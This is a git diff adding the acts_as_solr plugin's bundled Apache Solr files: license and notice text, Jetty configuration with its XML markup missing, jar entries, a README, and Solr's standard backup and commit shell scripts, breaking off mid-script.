NON-INFRINGEMENT, MERCHANTABILITY OR FITNESS FOR A PARTICULAR PURPOSE. Each Recipient is solely responsible for determining the appropriateness of using and distributing the Program and assumes all risks associated with its exercise of rights under this Agreement, including but not limited to the risks and costs of program errors, compliance with applicable laws, damage to or loss of data, programs or equipment, and unavailability or interruption of operations. + +6. DISCLAIMER OF LIABILITY + +EXCEPT AS EXPRESSLY SET FORTH IN THIS AGREEMENT, NEITHER RECIPIENT NOR ANY CONTRIBUTORS SHALL HAVE ANY LIABILITY FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING WITHOUT LIMITATION LOST PROFITS), HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OR DISTRIBUTION OF THE PROGRAM OR THE EXERCISE OF ANY RIGHTS GRANTED HEREUNDER, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. + +7. GENERAL + +If any provision of this Agreement is invalid or unenforceable under applicable law, it shall not affect the validity or enforceability of the remainder of the terms of this Agreement, and without further action by the parties hereto, such provision shall be reformed to the minimum extent necessary to make such provision valid and enforceable. + +If Recipient institutes patent litigation against a Contributor with respect to a patent applicable to software (including a cross-claim or counterclaim in a lawsuit), then any patent licenses granted by that Contributor to such Recipient under this Agreement shall terminate as of the date such litigation is filed. In addition, if Recipient institutes patent litigation against any entity (including a cross-claim or counterclaim in a lawsuit) alleging that the Program itself (excluding combinations of the Program with other software or hardware) infringes such Recipient's patent(s), then such Recipient's rights granted under Section 2(b) shall terminate as of the date such litigation is filed. + +All Recipient's rights under this Agreement shall terminate if it fails to comply with any of the material terms or conditions of this Agreement and does not cure such failure in a reasonable period of time after becoming aware of such noncompliance. If all Recipient's rights under this Agreement terminate, Recipient agrees to cease use and distribution of the Program as soon as reasonably practicable. However, Recipient's obligations under this Agreement and any licenses granted by Recipient relating to the Program shall continue and survive. + +Everyone is permitted to copy and distribute copies of this Agreement, but in order to avoid inconsistency the Agreement is copyrighted and may only be modified in the following manner. The Agreement Steward reserves the right to publish new versions (including revisions) of this Agreement from time to time. No one other than the Agreement Steward has the right to modify this Agreement. IBM is the initial Agreement Steward. IBM may assign the responsibility to serve as the Agreement Steward to a suitable separate entity. Each new version of the Agreement will be given a distinguishing version number. The Program (including Contributions) may always be distributed subject to the version of the Agreement under which it was received. In addition, after a new version of the Agreement is published, Contributor may elect to distribute the Program (including its Contributions) under the new version. Except as expressly stated in Sections 2(a) and 2(b) above, Recipient receives no rights or licenses to the intellectual property of any Contributor under this Agreement, whether expressly, by implication, estoppel or otherwise. All rights in the Program not expressly granted under this Agreement are reserved. + +This Agreement is governed by the laws of the State of New York and the intellectual property laws of the United States of America. No party to this Agreement will bring a legal action under this Agreement more than one year after the cause of action arose. Each party waives its rights to a jury trial in any resulting litigation. + + + diff --git a/vendor/plugins/acts_as_solr/solr/NOTICE.txt b/vendor/plugins/acts_as_solr/solr/NOTICE.txt new file mode 100644 index 00000000..4a7cea49 --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/NOTICE.txt @@ -0,0 +1,90 @@ +============================================================== + Apache Solr + Copyright 2006-2008 The Apache Software Foundation +============================================================== + +This product includes software developed by +The Apache Software Foundation (http://www.apache.org/). + +Includes software from other Apache Software Foundation projects, +including, but not limited to: + - Apache Lucene Java + - Apache Tomcat (lib/servlet-api-2.4.jar) + - Apache Commons + - Apache Geronimo (stax API jar) + +This product includes tests written with EasyMock Copyright 2001-2007 +Tammo Freese (http://www.easymock.org/) + +This product includes the JQuery JavaScript library created by John Resig. +Copyright (c) 2008 John Resig, http://jquery.com/ + +This product includes the stax-utils jar: https://stax-utils.dev.java.net/ +Copyright (c) 2004, Christian Niles, unit12.net +Copyright (c) 2004, Sun Microsystems, Inc. +Copyright (c) 2006, John Kristian +License: The BSD License (http://www.opensource.org/licenses/bsd-license.php) + +This product includes a JUnit jar: http://junit.sourceforge.net/ +License: Common Public License - v 1.0 (http://junit.sourceforge.net/cpl-v10.html) + +========================================================================= +== Apache Lucene Notice == +========================================================================= +The snowball stemmers in + contrib/snowball/src/java/net/sf/snowball +were developed by Martin Porter and Richard Boulton. +The full snowball package is available from + http://snowball.tartarus.org/ +--- + +This product includes/uses software, Woodstox (http://woodstox.codehaus.org), +developed by Codehaus (http://www.codehaus.org/) +License: The Apache Software License, Version 2.0 (http://www.apache.org/licenses/LICENSE-2.0.txt) +========================================================================= +== Woodstox Notice == +========================================================================= +This product currently only contains code developed by authors +of specific components, as identified by the source code files. + +Since product implements StAX API, it has dependencies to StAX API +classes. + +For additional credits (generally to people who reported problems) +see CREDITS file. +--- + +This product includes software developed by Mort Bay Consulting +(specifically, Jetty 6.1.3, the bundled servlet container in example) +The jboss integration module is not included. +========================================================================= +== Jetty Notice == +========================================================================= +============================================================== + Jetty Web Container + Copyright 1995-2006 Mort Bay Consulting Pty Ltd +============================================================== + +This product includes some software developed at The Apache Software +Foundation (http://www.apache.org/). + +The javax.servlet package used by Jetty is copyright +Sun Microsystems, Inc and Apache Software Foundation. It is +distributed under the Common Development and Distribution License. +You can obtain a copy of the license at +https://glassfish.dev.java.net/public/CDDLv1.0.html. + +The UnixCrypt.java code ~Implements the one way cryptography used by +Unix systems for simple password protection. Copyright 1996 Aki Yoshida, +modified April 2001 by Iris Van den Broeke, Daniel Deville. + +The default JSP implementation is provided by the Glassfish JSP engine +from project Glassfish http://glassfish.dev.java.net. Copyright 2005 +Sun Microsystems, Inc. and portions Copyright Apache Software Foundation. + +Some portions of the code are Copyright: + 2006 Tim Vernum + 1999 Jason Gilbert. + +The jboss integration module contains some LGPL code. +--- diff --git a/vendor/plugins/acts_as_solr/solr/etc/jetty.xml b/vendor/plugins/acts_as_solr/solr/etc/jetty.xml new file mode 100644 index 00000000..076b72ec --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/etc/jetty.xml @@ -0,0 +1,205 @@ + + + + + + + + + + + + + + + + + + + + + 10 + 50 + 250 + + + + + + + + + + + + + + + + + + + + + + + + 50000 + 1500 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + /contexts + 1 + + + + + + + + + + + + + + + + + + + + + + /webapps + false + true + false + /etc/webdefault.xml + + + + + + + + + + + + + + + + + + + + + + + + + + + + /jetty.request.log + true + false + GMT + + + + + + + + true + + true + + + diff --git a/vendor/plugins/acts_as_solr/solr/etc/webdefault.xml b/vendor/plugins/acts_as_solr/solr/etc/webdefault.xml new file mode 100644 index 00000000..83dc294e --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/etc/webdefault.xml @@ -0,0 +1,379 @@ + + + + + + + + + + + + + + + + + + + + + + + Default web.xml file. + This file is applied to a Web application before it's own WEB_INF/web.xml file + + + + + + + + + + org.mortbay.jetty.webapp.NoTLDJarPattern + start.jar|ant-.*\.jar|dojo-.*\.jar|jetty-.*\.jar|jsp-api-.*\.jar|junit-.*\.jar|servlet-api-.*\.jar|dnsns\.jar|rt\.jar|jsse\.jar|tools\.jar|sunpkcs11\.jar|sunjce_provider\.jar|xerces.*\.jar| + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + default + org.mortbay.jetty.servlet.DefaultServlet + + acceptRanges + true + + + dirAllowed + true + + + redirectWelcome + false + + + maxCacheSize + 2000000 + + + maxCachedFileSize + 254000 + + + maxCachedFiles + 1000 + + + gzip + false + + + useFileMappedBuffer + false + + + 0 + + + default / + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + jsp + org.apache.jasper.servlet.JspServlet + + logVerbosityLevel + DEBUG + + + fork + false + + + xpoweredBy + false + + + 0 + + + + jsp + *.jsp + *.jspf + *.jspx + *.xsp + *.JSP + *.JSPF + *.JSPX + *.XSP + + + + + + + + + + + + + + + + + + + + + + + + + + + + 30 + + + + + + + + + + + + + index.html + index.htm + index.jsp + + + + + arISO-8859-6 + beISO-8859-5 + bgISO-8859-5 + caISO-8859-1 + csISO-8859-2 + daISO-8859-1 + deISO-8859-1 + elISO-8859-7 + enISO-8859-1 + esISO-8859-1 + etISO-8859-1 + fiISO-8859-1 + frISO-8859-1 + hrISO-8859-2 + huISO-8859-2 + isISO-8859-1 + itISO-8859-1 + iwISO-8859-8 + jaShift_JIS + koEUC-KR + ltISO-8859-2 + lvISO-8859-2 + mkISO-8859-5 + nlISO-8859-1 + noISO-8859-1 + plISO-8859-2 + ptISO-8859-1 + roISO-8859-2 + ruISO-8859-5 + shISO-8859-5 + skISO-8859-2 + slISO-8859-2 + sqISO-8859-2 + srISO-8859-5 + svISO-8859-1 + trISO-8859-9 + ukISO-8859-5 + zhGB2312 + zh_TWBig5 + + + + + + diff --git a/vendor/plugins/acts_as_solr/solr/lib/easymock.jar b/vendor/plugins/acts_as_solr/solr/lib/easymock.jar new file mode 100644 index 00000000..c4159f5a Binary files /dev/null and b/vendor/plugins/acts_as_solr/solr/lib/easymock.jar differ diff --git a/vendor/plugins/acts_as_solr/solr/lib/jetty-6.1.3.jar b/vendor/plugins/acts_as_solr/solr/lib/jetty-6.1.3.jar new file mode 100644 index 00000000..ad3d529a Binary files /dev/null and b/vendor/plugins/acts_as_solr/solr/lib/jetty-6.1.3.jar differ diff --git a/vendor/plugins/acts_as_solr/solr/lib/jetty-util-6.1.3.jar b/vendor/plugins/acts_as_solr/solr/lib/jetty-util-6.1.3.jar new file mode 100644 index 00000000..101543bc Binary files /dev/null and b/vendor/plugins/acts_as_solr/solr/lib/jetty-util-6.1.3.jar differ diff --git a/vendor/plugins/acts_as_solr/solr/lib/jsp-2.1/ant-1.6.5.jar b/vendor/plugins/acts_as_solr/solr/lib/jsp-2.1/ant-1.6.5.jar new file mode 100644 index 00000000..3beb3b80 Binary files /dev/null and b/vendor/plugins/acts_as_solr/solr/lib/jsp-2.1/ant-1.6.5.jar differ diff --git a/vendor/plugins/acts_as_solr/solr/lib/jsp-2.1/core-3.1.1.jar b/vendor/plugins/acts_as_solr/solr/lib/jsp-2.1/core-3.1.1.jar new file mode 100644 index 00000000..ae0b6358 Binary files /dev/null and b/vendor/plugins/acts_as_solr/solr/lib/jsp-2.1/core-3.1.1.jar differ diff --git a/vendor/plugins/acts_as_solr/solr/lib/jsp-2.1/jsp-2.1.jar b/vendor/plugins/acts_as_solr/solr/lib/jsp-2.1/jsp-2.1.jar new file mode 100644 index 00000000..8bb6fcfe Binary files /dev/null and b/vendor/plugins/acts_as_solr/solr/lib/jsp-2.1/jsp-2.1.jar differ diff --git a/vendor/plugins/acts_as_solr/solr/lib/jsp-2.1/jsp-api-2.1.jar b/vendor/plugins/acts_as_solr/solr/lib/jsp-2.1/jsp-api-2.1.jar new file mode 100644 index 00000000..bbba01f3 Binary files /dev/null and b/vendor/plugins/acts_as_solr/solr/lib/jsp-2.1/jsp-api-2.1.jar differ diff --git a/vendor/plugins/acts_as_solr/solr/lib/servlet-api-2.4.jar b/vendor/plugins/acts_as_solr/solr/lib/servlet-api-2.4.jar new file mode 100644 index 00000000..018d6eff Binary files /dev/null and b/vendor/plugins/acts_as_solr/solr/lib/servlet-api-2.4.jar differ diff --git a/vendor/plugins/acts_as_solr/solr/lib/servlet-api-2.5-6.1.3.jar b/vendor/plugins/acts_as_solr/solr/lib/servlet-api-2.5-6.1.3.jar new file mode 100644 index 00000000..8e9777d5 Binary files /dev/null and b/vendor/plugins/acts_as_solr/solr/lib/servlet-api-2.5-6.1.3.jar differ diff --git a/vendor/plugins/acts_as_solr/solr/lib/xpp3-1.1.3.4.O.jar b/vendor/plugins/acts_as_solr/solr/lib/xpp3-1.1.3.4.O.jar new file mode 100644 index 00000000..002ef69f Binary files /dev/null and b/vendor/plugins/acts_as_solr/solr/lib/xpp3-1.1.3.4.O.jar differ diff --git a/vendor/plugins/acts_as_solr/solr/solr/README.txt b/vendor/plugins/acts_as_solr/solr/solr/README.txt new file mode 100644 index 00000000..f39ad34d --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/solr/README.txt @@ -0,0 +1,52 @@ +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. + + +Example "Solr Home" Directory +============================= + +This directory is provided as an example of what a "Solr Home" directory +should look like. + +It's not strictly necessary that you copy all of the files in this +directory when setting up a new instance of Solr, but it is recommended. + + +Basic Directory Structure +------------------------- + +The Solr Home directory typically contains the following subdirectories... + + conf/ + This directory is mandatory and must contain your solrconfig.xml + and schema.xml. Any other optional configuration files would also + be kept here. + + data/ + This directory is the default location where Solr will keep your + index, and is used by the replication scripts for dealing with + snapshots. You can override this location in the solrconfig.xml + and scripts.conf files. Solr will create this directory if it + does not already exist. + + lib/ + This directory is optional. If it exists, Solr will load any Jars + found in this directory and use them to resolve any "plugins" + specified in your solrconfig.xml or schema.xml (ie: Analyzers, + Request Handlers, etc...) + + bin/ + This directory is optional. It is the default location used for + keeping the replication scripts. diff --git a/vendor/plugins/acts_as_solr/solr/solr/bin/abc b/vendor/plugins/acts_as_solr/solr/solr/bin/abc new file mode 100644 index 00000000..5d48415c --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/solr/bin/abc @@ -0,0 +1,176 @@ +#!/bin/bash +# +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# Shell script to make an Atomic Backup after Commit of +# a Solr Lucene collection. + +orig_dir=$(pwd) +cd ${0%/*}/.. +solr_root=$(pwd) +cd ${orig_dir} +curl_url="" + +unset solr_hostname solr_port data_dir webapp_name user verbose debug solr_url +. ${solr_root}/bin/scripts-util + +# set up variables +prog=${0##*/} +log=${solr_root}/logs/${prog}.log + +# define usage string +USAGE="\ +usage: $prog [-h hostname] [-p port] [-d dir] [-w webappname] [-u username] [-U url] [-v] [-V] + -h specify Solr hostname (defaults to localhost) + -p specify Solr port number + -w specify name of Solr webapp (defaults to solr) + -u specify user to sudo to before running script + -U specify full update url (overrides -h,-p,-w parameters) + -d specify directory holding index data + -v increase verbosity + -V output debugging info +" + +# parse args +while getopts h:p:d:w:u:U:vV OPTION +do + case $OPTION in + h) + solr_hostname="$OPTARG" + ;; + p) + solr_port="$OPTARG" + ;; + d) + data_dir="$OPTARG" + ;; + w) + webapp_name="$OPTARG" + ;; + u) + user="$OPTARG" + ;; + U) + solr_url="$OPTARG" + ;; + v) + verbose="v" + ;; + V) + debug="V" + ;; + *) + echo "$USAGE" + exit 1 + esac +done + +[[ -n $debug ]] && set -x + +# use default value for data_dir if not specified +# relative path starts at ${solr_root} +if [[ -z ${data_dir} ]] +then + data_dir=${solr_root}/data +elif [[ "`echo ${data_dir}|cut -c1`" != "/" ]] +then + data_dir=${solr_root}/${data_dir} +fi + +if [[ -n ${solr_url} ]] +then + curl_url=${solr_url} +else + if [[ -z ${solr_port} ]] + then + echo "Solr port number missing in $confFile or command line." + echo "$USAGE" + exit 1 + fi + + # use default hostname if not specified + if [[ -z ${solr_hostname} ]] + then + solr_hostname=localhost + fi + + # use default webapp name if not specified + if [[ -z ${webapp_name} ]] + then + webapp_name=solr + fi + curl_url=http://${solr_hostname}:${solr_port}/${webapp_name}/update +fi + +fixUser "$@" + +start=`date +"%s"` + +logMessage started by $oldwhoami +logMessage command: $0 $@ + +logMessage sending commit to Solr server at ${curl_url} +rs=`curl ${curl_url} -s -H 'Content-type:text/xml; charset=utf-8' -d ""` +if [[ $? != 0 ]] +then + logMessage failed to connect to Solr server at ${curl_url} + logMessage commit failed + logExit failed 1 +fi + +# check status of commit request +echo $rs | grep ' /dev/null 2>&1 +if [[ $? != 0 ]] +then + logMessage commit request to Solr at ${curl_url} failed: + logMessage $rs + logExit failed 2 +fi + +# successful commit creates a snapshot file synchronously +lastsnap=`ls -drt1 ${data_dir}/snapshot.* 2> /dev/null | tail -1 ` + +if [[ $lastsnap == "" ]] +then + logMessage commit did not create snapshot at ${curl_url}, backup failed: + logExit failed 3 +fi + +name=backup.${lastsnap##*snapshot.} +temp=temp-${name} + +if [[ -d ${data_dir}/${name} ]] +then + logMessage backup directory ${data_dir}/${name} already exists + logExit aborted 1 +fi + +if [[ -d ${data_dir}/${temp} ]] +then + logMessage backingup of ${data_dir}/${name} in progress + logExit aborted 1 +fi +logMessage making backup ${data_dir}/${name} + +# clean up after INT/TERM +trap 'echo cleaning up, please wait ...;/bin/rm -rf ${data_dir}/${name} ${data_dir}/${temp};logExit aborted 13' INT TERM + +# make a backup using hard links into temporary location +# then move it into place atomically +cp -lr ${lastsnap} ${data_dir}/${temp} +mv ${data_dir}/${temp} ${data_dir}/${name} + +logExit ended 0 diff --git a/vendor/plugins/acts_as_solr/solr/solr/bin/abo b/vendor/plugins/acts_as_solr/solr/solr/bin/abo new file mode 100644 index 00000000..dc0c1678 --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/solr/bin/abo @@ -0,0 +1,176 @@ +#!/bin/bash +# +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# Shell script to make an Atomic Backup after Optimize of +# a Solr Lucene collection. + +orig_dir=$(pwd) +cd ${0%/*}/.. +solr_root=$(pwd) +cd ${orig_dir} +curl_url="" + +unset solr_hostname solr_port data_dir webapp_name user verbose debug solr_url +. ${solr_root}/bin/scripts-util + +# set up variables +prog=${0##*/} +log=${solr_root}/logs/${prog}.log + +# define usage string +USAGE="\ +usage: $prog [-h hostname] [-p port] [-d dir] [-w webapp_name] [-u username] [-U url] [-v] [-V] + -h specify Solr hostname (defaults to localhost) + -p specify Solr port number + -w specify name of Solr webapp (defaults to solr) + -u specify user to sudo to before running script + -U specify full update url (overrides -h,-p,-w parameters) + -d specify directory holding index data (defaults to data) + -v increase verbosity + -V output debugging info +" + +# parse args +while getopts h:p:d:w:u:U:vV OPTION +do + case $OPTION in + h) + solr_hostname="$OPTARG" + ;; + p) + solr_port="$OPTARG" + ;; + d) + data_dir="$OPTARG" + ;; + w) + webapp_name="$OPTARG" + ;; + u) + user="$OPTARG" + ;; + U) + solr_url="$OPTARG" + ;; + v) + verbose="v" + ;; + V) + debug="V" + ;; + *) + echo "$USAGE" + exit 1 + esac +done + +[[ -n $debug ]] && set -x + +# use default value for data_dir if not specified +# relative path starts at ${solr_root} +if [[ -z ${data_dir} ]] +then + data_dir=${solr_root}/data +elif [[ "`echo ${data_dir}|cut -c1`" != "/" ]] +then + data_dir=${solr_root}/${data_dir} +fi + +if [[ -n ${solr_url} ]] +then + curl_url=${solr_url} +else + if [[ -z ${solr_port} ]] + then + echo "Solr port number missing in $confFile or command line." + echo "$USAGE" + exit 1 + fi + + # use default hostname if not specified + if [[ -z ${solr_hostname} ]] + then + solr_hostname=localhost + fi + + # use default webapp name if not specified + if [[ -z ${webapp_name} ]] + then + webapp_name=solr + fi + curl_url=http://${solr_hostname}:${solr_port}/${webapp_name}/update +fi + +fixUser "$@" + +start=`date +"%s"` + +logMessage started by $oldwhoami +logMessage command: $0 $@ + +logMessage sending optimize to Solr server at ${curl_url} +rs=`curl ${curl_url} -s -H 'Content-type:text/xml; charset=utf-8' -d ""` +if [[ $? != 0 ]] +then + logMessage failed to connect to Solr server at ${curl_url} + logMessage optimize failed + logExit failed 1 +fi + +# check status of optimize request +echo $rs | grep ' /dev/null 2>&1 +if [[ $? != 0 ]] +then + logMessage optimize request to Solr at ${curl_url} failed: + logMessage $rs + logExit failed 2 +fi + +# successful optimize creates a snapshot file synchronously +lastsnap=`ls -drt1 ${data_dir}/snapshot.* | tail -1 ` + +if [[ $lastsnap == "" ]] +then + logMessage commit did not create snapshot at ${curl_url}, backup failed: + logExit failed 3 +fi + +name=backup.${lastsnap##*snapshot.} +temp=temp-${name} + +if [[ -d ${data_dir}/${name} ]] +then + logMessage backup directory ${data_dir}/${name} already exists + logExit aborted 1 +fi + +if [[ -d ${data_dir}/${temp} ]] +then + logMessage backingup of ${data_dir}/${name} in progress + logExit aborted 1 +fi +logMessage making backup ${data_dir}/${name} + +# clean up after INT/TERM +trap 'echo cleaning up, please wait ...;/bin/rm -rf ${data_dir}/${name} ${data_dir}/${temp};logExit aborted 13' INT TERM + +# make a backup using hard links into temporary location +# then move it into place atomically +cp -lr ${lastsnap} ${data_dir}/${temp} +mv ${data_dir}/${temp} ${data_dir}/${name} + +logExit ended 0 diff --git a/vendor/plugins/acts_as_solr/solr/solr/bin/backup b/vendor/plugins/acts_as_solr/solr/solr/bin/backup new file mode 100644 index 00000000..1fc3b185 --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/solr/bin/backup @@ -0,0 +1,108 @@ +#!/bin/bash +# +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# Shell script to make a backup of a Solr Lucene collection. + +orig_dir=$(pwd) +cd ${0%/*}/.. +solr_root=$(pwd) +cd ${orig_dir} + +unset data_dir user verbose debug +. ${solr_root}/bin/scripts-util + +# set up variables +prog=${0##*/} +log=${solr_root}/logs/${prog}.log + +# define usage string +USAGE="\ +usage: $prog [-d dir] [-u username] [-v] + -d specify directory holding index data + -u specify user to sudo to before running script + -v increase verbosity + -V output debugging info +" + +# parse args +while getopts d:u:vV OPTION +do + case $OPTION in + d) + data_dir="$OPTARG" + ;; + u) + user="$OPTARG" + ;; + v) + verbose="v" + ;; + V) + debug="V" + ;; + *) + echo "$USAGE" + exit 1 + esac +done + +[[ -n $debug ]] && set -x + +# use default value for data_dir if not specified +# relative path starts at ${solr_root} +if [[ -z ${data_dir} ]] +then + data_dir=${solr_root}/data +elif [[ "`echo ${data_dir}|cut -c1`" != "/" ]] +then + data_dir=${solr_root}/${data_dir} +fi + +fixUser "$@" + +start=`date +"%s"` + +logMessage started by $oldwhoami +logMessage command: $0 $@ + +name=backup.`date +"%Y%m%d%H%M%S"` +temp=temp-${name} + +if [[ -d ${data_dir}/${name} ]] +then + logMessage backup directory ${data_dir}/${name} already exists + logExit aborted 1 +fi + +if [[ -d ${data_dir}/${temp} ]] +then + logMessage backingup of ${data_dir}/${name} in progress + logExit aborted 1 +fi + +# clean up after INT/TERM +trap 'echo cleaning up, please wait ...;/bin/rm -rf ${data_dir}/${name} ${data_dir}/${temp};logExit aborted 13' INT TERM + +logMessage making backup ${data_dir}/${name} + +# make a backup using hard links into temporary location +# then move it into place atomically +cp -lr ${data_dir}/index ${data_dir}/${temp} +mv ${data_dir}/${temp} ${data_dir}/${name} + +logExit ended 0 + diff --git a/vendor/plugins/acts_as_solr/solr/solr/bin/backupcleaner b/vendor/plugins/acts_as_solr/solr/solr/bin/backupcleaner new file mode 100644 index 00000000..6c2ac7ca --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/solr/bin/backupcleaner @@ -0,0 +1,142 @@ +#!/bin/bash +# +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# Shell script to clean up backups of a Solr Lucene collection. + +orig_dir=$(pwd) +cd ${0%/*}/.. +solr_root=$(pwd) +cd ${orig_dir} + +unset days num data_dir user verbose debug +. ${solr_root}/bin/scripts-util + +# set up variables +prog=${0##*/} +log=${solr_root}/logs/${prog}.log + +# define usage string +USAGE="\ +usage: $prog -D | -N [-d dir] [-u username] [-v] + -D cleanup backups more than days old + -N keep the most recent number of backups and + cleanup up the remaining ones that are not being pulled + -d specify directory holding index data + -u specify user to sudo to before running script + -v increase verbosity + -V output debugging info +" + +# parse args +while getopts D:N:d:u:vV OPTION +do + case $OPTION in + D) + days="$OPTARG" + ;; + N) + num="$OPTARG" + ;; + d) + data_dir="$OPTARG" + ;; + u) + user="$OPTARG" + ;; + v) + verbose="v" + ;; + V) + debug="V" + ;; + *) + echo "$USAGE" + exit 1 + esac +done + +[[ -n $debug ]] && set -x + +if [[ -z ${days} && -z ${num} ]] +then + echo "$USAGE" + exit 1 +fi + +fixUser "$@" + +# use default value for data_dir if not specified +# relative path starts at ${solr_root} +if [[ -z ${data_dir} ]] +then + data_dir=${solr_root}/data +elif [[ "`echo ${data_dir}|cut -c1`" != "/" ]] +then + data_dir=${solr_root}/${data_dir} +fi + +function remove +{ + logMessage removing backup $1 + /bin/rm -rf $1 +} + +start=`date +"%s"` + +logMessage started by $oldwhoami +logMessage command: $0 $@ + +# trap control-c +trap 'echo "caught INT/TERM, exiting now but partial cleanup may have already occured";logExit aborted 13' INT TERM + +if [[ -n ${days} ]] +then + #is maxdepth supported? + find ${data_dir} -maxdepth 0 -name foobar >/dev/null 2>&1 + if [ $? = 0 ]; then + maxdepth="-maxdepth 1" + else + unset maxdepth + fi + + logMessage cleaning up backups more than ${days} days old + for i in `find ${data_dir} ${maxdepth} -name 'backup.*' -mtime +${days} -print` + do + remove $i + done +elif [[ -n ${num} ]] +then + logMessage cleaning up all backups except for the most recent ${num} ones + unset backups count + backups=`ls -cd ${data_dir}/backup.* 2>/dev/null` + if [[ $? == 0 ]] + then + count=`echo $backups|wc -w` + startpos=`expr $num + 1` + if [[ $count -gt $num ]] + then + for i in `echo $backups|cut -f${startpos}- -d" "` + do + remove $i + done + fi + fi +fi + +logExit ended 0 + + diff --git a/vendor/plugins/acts_as_solr/solr/solr/bin/commit b/vendor/plugins/acts_as_solr/solr/solr/bin/commit new file mode 100644 index 00000000..872e1cd2 --- /dev/null +++ b/vendor/plugins/acts_as_solr/solr/solr/bin/commit @@ -0,0 +1,128 @@ +#!/bin/bash +# +# Licensed to the Apache Software Foundation (ASF) under one or more +# contributor license agreements. See the NOTICE file distributed with +# this work for additional information regarding copyright ownership. +# The ASF licenses this file to You under the Apache License, Version 2.0 +# (the "License"); you may not use this file except in compliance with +# the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# Shell script to force a commit of all changes since last commit +# for a Solr server + +orig_dir=$(pwd) +cd ${0%/*}/.. +solr_root=$(pwd) +cd ${orig_dir} +curl_url="" + +unset solr_hostname solr_port webapp_name user verbose debug solr_url +. ${solr_root}/bin/scripts-util + +# set up variables +prog=${0##*/} +log=${solr_root}/logs/${prog}.log + +# define usage string +USAGE="\ +usage: $prog [-h hostname] [-p port] [-w webapp_name] [-u username] [-U url] [-v] [-V] + -h specify Solr hostname (defaults to localhost) + -p specify Solr port number + -w specify name of Solr webapp (defaults to solr) + -u specify user to sudo to before running script + -U specify full update url (overrides -h,-p,-w parameters) + -v increase verbosity + -V output debugging info +" + +# parse args +while getopts h:p:w:u:U:vV OPTION +do + case $OPTION in + h) + solr_hostname="$OPTARG" + ;; + p) + solr_port="$OPTARG" + ;; + w) + webapp_name="$OPTARG" + ;; + u) + user="$OPTARG" + ;; + U) + solr_url="$OPTARG" + ;; + v) + verbose="v" + ;; + V) + debug="V" + ;; + *) + echo "$USAGE" + exit 1 + esac +done + +[[ -n $debug ]] && set -x + +if [[ -n ${solr_url} ]] +then + curl_url=${solr_url} +else + if [[ -z ${solr_port} ]] + then + echo "Solr port number missing in $confFile or command line." + echo "$USAGE" + exit 1 + fi + + # use default hostname if not specified + if [[ -z ${solr_hostname} ]] + then + solr_hostname=localhost + fi + + # use default webapp name if not specified + if [[ -z 